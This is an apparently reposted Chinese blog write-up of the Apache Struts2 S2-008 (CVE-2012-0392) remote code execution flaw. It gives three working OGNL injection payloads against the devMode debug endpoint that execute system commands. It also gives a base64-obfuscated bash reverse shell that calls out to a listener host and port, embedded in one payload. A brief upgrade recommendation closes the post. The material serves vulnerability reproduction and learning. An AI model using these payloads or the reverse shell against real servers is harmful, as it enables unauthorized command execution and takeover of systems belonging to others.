首页 > 其他分享 >S2-008

S2-008

时间:2023-01-06 18:44:35浏览次数:64  
标签:java S2 genxor memberAccess io new 008 com

漏洞名称

S2-008(CVE-2012-0392) 远程代码执行漏洞

利用条件

Struts 2.0.0 - Struts 2.3.17

漏洞原理

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,但是这种情况在生产环境中几乎不可能存在,所以还是很鸡肋。

漏洞利用

命令执行

devmode.action?debug=command&expression=

POC1

#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRuntime().exec("id").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()

url全编码后发送请求

image-20221229170702722

POC2

(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29)
image-20221229171158201

POC3

(%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id

image-20221229172841526

反弹shell

上述三个poc皆可用于反弹shell

bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRuntime().exec("bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()

image-20221229173710269

image-20221229173539561

修复建议

更新到 Struts 2.3.18 并对 和 应用更强的过滤器

acceptedParamNames``ParameterInterceptor``CookieInterceptor
acceptedParamNames = "[a-zA-Z0-9\.][()_']+";

参考文章

https://blog.csdn.net/weixin_43416469/article/details/113850545

https://www.cnblogs.com/peace-and-romance/p/15630627.html

https://www.secrss.com/articles/24780

标签:java,S2,genxor,memberAccess,io,new,008,com
From: https://www.cnblogs.com/crayonxiaoxin/p/17031352.html

相关文章

  • S2-009 CVE-2011-3923
    漏洞名称CVE-2011-3923S2-009远程代码执行漏洞利用条件Struts2.0.0-Struts2.3.1.1漏洞原理OGNL提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过Para......
  • EL1008E: Property or field 'config' cannot be found on object of type 'org.sprin
    EL1008E:Propertyorfield'config'cannotbefoundonobjectoftype'org.springframework.beans.factory.config.BeanExpressionContext' 1、报错信息将Sprin......
  • Strus2_Action中访问Web资源
    1.什么是web资源?如:HttpServletRequest,HttpSession,ServletContext等原生的ServletAPI2.为什么访问web资源?B/S架构的应用的controller中,必然需要访问web资源,域对象中读写属性,......
  • S2 - Lesson 15 - Good news
    Words secretsecretary nervous[紧张的]nerveirritable[易怒的]  affordcan/beableto+afford+sth./todosth.Thefirmcouldnotaffordtopaysu......
  • S2 - Lesson 14 - Do you speak English?
    Words amusing experienceanamusingexperience wave liftasksb.foralift replyv.replytosb.  languagethesamelanguagebodylanguage......
  • 1008.Django模型基础03
    一、关系表的数据操作关系表中的数据操作查看数据库中的表结构   一对多表关系数据的添加:1.第一种方式就是跟之前一样,用传参的方法添加,需要注意的是外键的值必......
  • ros2的cv_bridge库opencv版本不匹配问题
    ros2的cv_bridge库opencv版本不匹配问题问题:libopencv_imgcodecs.so.4.2:cannotopensharedobjectfile:nosuchfileordirectory原因ros安装的时候默认的......
  • cocos2d-x基于windows平台交叉编辑android工程
    cocos2d-x确实是一款优秀的引擎,尽管和正规军的unity3d比起来它显得有点土,但它在移动平台上的性能表现着实惊艳。以下讲解如何将win32工程交叉编译到android平台。 一、环境......
  • Cocos2d-x windows + vs2010 配置图文详解
    参考:​​http://tieba.baidu.com/p/1461284351​​ 1.下载最新版的cocos2d-x。打开浏览器,输入cocos2d-x.org,然后选择Download,本教程写作时最新版本为cocos2d-1.01-x-0.9.1,......
  • unity和VS2019联调问题解决
    以前使用VS2015和17的时候联调的时候是可以附加到unity进行联调的,今天用的2019发现不可以了。研究了一下是少装了一个插件。装上插件就解决了。过程如下:当前使用VS版本2019......